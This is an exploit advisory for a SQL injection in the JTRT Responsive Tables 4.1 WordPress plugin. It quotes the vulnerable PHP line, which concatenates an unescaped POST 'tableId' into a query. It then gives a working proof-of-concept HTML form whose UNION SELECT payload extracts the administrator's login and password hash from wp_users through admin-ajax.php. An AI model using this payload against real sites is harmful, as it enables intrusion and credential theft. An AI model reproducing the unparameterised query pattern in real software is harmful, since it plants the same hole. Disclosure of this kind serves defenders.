WordPress Plugin JTRT Responsive Tables 4.1 - SQL Injection

Description:

    Type user acces: single user.

$_POST[‘tableId’] is not escaped.

http://lenonleite.com.br/en/blog/2017/09/11/jtrt-responsive-tables-wordpress-plugin-sql-injection/
File / Code:

Path: /wp-content/plugins/jtrt-responsive-tables/admin/class-jtrt-responsive-tables-admin.php

Line :  183

$getTableId = $_POST['tableId'];
...

$retrieve_data = $wpdb->get_results( "SELECT * FROM $jtrt_tables_name WHERE jttable_IDD = " . $getTableId );


Proof of Concept:

1 – Log in with single user.

2 – Using form, sqli by post:

<form method="post" action="http://target.dev/wp-admin/admin-ajax.php?action=get_old_table">
   <input type="text" name="tableId" value="1 UNION SELECT 1,2,CONCAT(user_login,char(58),user_pass),4,5 FROM wp_users WHERE ID=1">
   <input type="submit" name="">
</form>